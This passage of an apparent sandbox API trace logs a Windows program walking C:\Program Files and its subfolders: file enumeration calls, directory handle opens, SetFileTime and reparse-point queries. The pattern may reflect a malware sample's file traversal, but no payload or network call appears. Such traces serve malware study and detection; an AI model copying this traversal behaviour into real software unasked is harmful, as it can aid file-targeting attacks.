dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0142.203] GetLastError () returned 0x12 [0142.203] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0142.203] FindClose (in: hFindFile=0x829bb8 | out: hFindFile=0x829bb8) returned 1 [0142.203] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0142.203] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0142.203] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0142.203] GetLastError () returned 0x12 [0142.203] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0142.203] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0142.203] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0142.203] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0142.203] FindNextFileW (in: hFindFile=0x838fe0, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x20481c30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x20481c30, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="Program Files", cAlternateFileName="")) returned 1 [0142.203] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0142.203] GetFileAttributesExW (in: lpFileName="C:\\Program Files" (normalized: "c:\\program files"), fInfoLevelId=0x0, lpFileInformation=0x1a7f8b8 | out: lpFileInformation=0x1a7f8b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x20481c30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x20481c30, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0142.203] CreateFileW (lpFileName="C:\\Program Files" (normalized: "c:\\program files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0142.204] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f8fc, lpLastWriteTime=0x1a7f8fc) returned 0 [0142.204] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98de90 [0142.204] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98de90, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f954, lpOverlapped=0x0 | out: lpOutBuffer=0x98de90, lpBytesReturned=0x1a7f954, lpOverlapped=0x0) returned 0 [0142.204] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98de90) returned 1 [0142.204] NtClose (Handle=0x15c) returned 0x0 [0142.204] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0142.204] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f258 [0142.204] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ef28 [0142.204] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eea0 [0142.204] FindFirstFileExW (in: lpFileName="C:\\Program Files\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f704, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f704) returned 0x829b38 [0142.204] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x20481c30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x20481c30, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.204] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="")) returned 1 [0142.204] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0142.204] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0142.204] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0142.204] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0142.204] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0142.204] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0142.204] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98d788 [0142.204] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0142.204] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0142.204] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d17a490, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x1d17a490, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="")) returned 1 [0142.204] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d4c02d0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x1d4c02d0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="")) returned 1 [0142.204] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="")) returned 1 [0142.204] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x512f1610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="")) returned 1 [0142.204] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="")) returned 1 [0142.205] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="")) returned 1 [0142.205] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1d154330, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x1d154330, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="")) returned 1 [0142.205] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d4c02d0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x1d4c02d0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0142.205] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d095c50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x1d095c50, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="")) returned 1 [0142.205] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="")) returned 1 [0142.205] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="")) returned 1 [0142.205] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1d4c02d0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x1d4c02d0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="")) returned 1 [0142.205] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="")) returned 1 [0142.205] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="")) returned 1 [0142.205] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="")) returned 1 [0142.205] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d154330, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x1d154330, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="")) returned 1 [0142.205] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x987bf1ac, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x987bf1ac, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="")) returned 1 [0142.205] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="")) returned 1 [0142.205] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="")) returned 0 [0142.205] GetLastError () returned 0x12 [0142.205] FindFirstFileExW (in: lpFileName="C:\\Program Files\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f704, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f704) returned 0x829bb8 [0142.205] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0142.205] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x20481c30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x20481c30, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.205] FindNextFileW (in: hFindFile=0x829bb8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="")) returned 1 [0142.205] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0142.205] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files" (normalized: "c:\\program files\\common files"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0142.205] CreateFileW (lpFileName="C:\\Program Files\\Common Files" (normalized: "c:\\program files\\common files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0142.205] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0142.206] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98de90 [0142.206] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98de90, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x98de90, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0142.206] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98de90) returned 1 [0142.206] NtClose (Handle=0x15c) returned 0x0 [0142.214] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0142.214] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0142.214] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0142.214] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0142.214] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x829b38 [0142.214] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.214] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0142.214] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="")) returned 1 [0142.214] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0142.214] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="")) returned 1 [0142.214] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0142.214] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0142.214] GetLastError () returned 0x12 [0142.214] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x829b78 [0142.215] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0142.215] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.215] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0142.215] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.215] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER" (normalized: "c:\\program files\\common files\\designer"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: 